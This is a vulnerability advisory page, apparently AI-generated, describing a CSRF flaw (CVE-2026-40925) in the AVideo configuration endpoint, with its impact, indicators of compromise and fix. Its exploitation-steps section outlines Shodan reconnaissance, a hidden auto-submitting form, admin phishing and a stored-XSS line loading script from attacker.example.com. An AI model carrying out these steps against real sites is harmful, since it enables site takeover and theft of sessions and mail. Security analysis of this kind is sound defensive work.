Cloud Vulnerability DB
A community-led vulnerabilities database
Register for the AI for Security Summit: Join Figma, Perplexity & Wiz
Vulnerability DatabaseCVE-2026-40925
CVE-2026-40925:
PHP vulnerability analysis and mitigation
Overview
CVE-2026-40925 is a Cross-Site Request Forgery (CSRF) vulnerability in WWBN AVideo, an open source video platform, that enables full site configuration takeover including encoder URL and SMTP credential replacement. It affects AVideo versions 29.0 and prior. The vulnerability was published on April 21, 2026, with a fix committed on April 24, 2026. It carries a CVSS v3.1 base score of 8.3 (High) (GitHub Advisory).
Technical details
The root cause is a missing CSRF protection on the objects/configurationUpdate.json.php endpoint (also accessible via /updateConfig), classified as CWE-352 (Cross-Site Request Forgery). The endpoint relies solely on User::isAdmin() for access control and does not call forbidIfIsUntrustedRequest(), verify a globalToken, or validate the Origin/Referer header — despite the project already implementing these primitives and using them on peer endpoints like objects/userUpdate.json.php. Critically, AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, meaning the browser will automatically attach the admin's PHPSESSID cookie to cross-origin POST requests. Because the admin UI submits configuration via application/x-www-form-urlencoded (a CORS "simple" request), no preflight is triggered, allowing any attacker-controlled page to silently submit the form with the victim's session (GitHub Advisory, Fix Commit).
Impact
A successful CSRF attack rewrites dozens of global site settings in a single request, including the encoder URL, SMTP host/username/password/port, site <head> HTML, logo, favicon, contact email, and upload/download policies. Injecting arbitrary HTML via setHead() results in persistent stored XSS site-wide, enabling session theft of all subsequent visitors including other administrators. SMTP credential replacement allows the attacker to intercept all outbound mail (password reset tokens, signup confirmations), and encoder URL hijacking poisons downstream content metadata. Arbitrary file writes to the web root via base64-encoded logo and favicon fields further extend attacker control (GitHub Advisory).
Exploitability
A complete proof-of-concept HTML form payload with step-by-step reproduction instructions is publicly available in the GitHub Security Advisory, making exploitation straightforward for any attacker who can lure an authenticated administrator to a malicious page (GitHub Advisory). No privileges are required on the attacker's side — only user interaction (admin visiting the attacker's page) is needed. The EPSS score is 0.000170, indicating low current exploitation probability, and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time. No threat actor attribution has been reported.
Exploitation steps
- Reconnaissance: Identify publicly accessible AVideo instances running version 29.0 or earlier using search engines or Shodan, targeting the
/updateConfigor/objects/configurationUpdate.json.phpendpoint. - Craft malicious HTML page: Create an HTML page (
evil.html) hosted on an attacker-controlled domain containing a hidden form that POSTs to the victim's AVideo/updateConfigendpoint with attacker-chosen values for fields such asencoder_url,smtpHost,smtpUsername,smtpPassword,head(for XSS payload injection), andlogoImgBase64. - Inject stored XSS payload: Set the
headfield to a<script src="https://attacker.example.com/evil.js"></script>tag to achieve persistent site-wide JavaScript execution on all future visitors. - Lure the administrator: Send a phishing link or embed the malicious page in content likely to be visited by an AVideo administrator (e.g., email, forum post, or social engineering).
- Trigger auto-submission: When the admin visits
evil.html, JavaScript callsdocument.getElementById('x').submit(), causing the browser to POST the form cross-origin with the admin'sPHPSESSIDcookie automatically attached (due toSameSite=None). - Confirm takeover: The server responds with
{"status":"1",...}, confirming the configuration was saved. Verify by visiting any page on the victim site to observe the injected<head>content, or trigger a password reset to confirm SMTP relay hijack (GitHub Advisory).
Indicators of compromise
- Network: Unexpected outbound SMTP connections to unfamiliar hosts/IPs from the AVideo server; outbound connections to attacker-controlled encoder URLs during video processing operations.
- Logs: Web server access logs showing POST requests to
/objects/configurationUpdate.json.phpor/updateConfigoriginating from unexpected IP addresses or with aRefererheader pointing to an external domain; PHP error logs referencing configuration save operations at unusual times. - File System: Unexpected modifications to
videos/userPhoto/logo.pngorvideos/favicon.pngwith attacker-supplied content; changes tovideos/configuration.phpor theconfigurationsdatabase table with unfamiliar values. - Application Behavior: Injected
<script>or other HTML tags appearing in the site<head>across all pages; SMTP settings pointing to unknown relay servers; encoder URL changed to an external domain not previously configured (GitHub Advisory).
Mitigation and workarounds
The fix is available in commit f9492f5e6123dff0292d5bb3164fde7665dc36b4, which adds a call to forbidIfIsUntrustedRequest('configurationUpdate') immediately after the admin check in objects/configurationUpdate.json.php (Fix Commit). Administrators should update to a version of AVideo that includes this commit. As interim mitigations: restrict administrative access to trusted networks or VPN, monitor the configurations table and web root files for unauthorized changes, and review all other objects/*.json.php state-mutating endpoints for the same CSRF omission pattern. Additionally, consider implementing browser-level CSRF protection and auditing recent configuration changes for signs of tampering (GitHub Advisory).
Community reactions
The vulnerability was noted on social platforms including Mastodon and Bluesky shortly after disclosure, with automated CVE tracking accounts sharing the advisory. No significant named researcher commentary or major media coverage has been identified beyond standard vulnerability database aggregation.
Additional resources
Source: This report was generated using AI
Related PHP vulnerabilities:
Free Vulnerability Assessment
Benchmark your Cloud Security Posture
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Additional Wiz resources
Get a personalized demo
Ready to see Wiz in action?
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management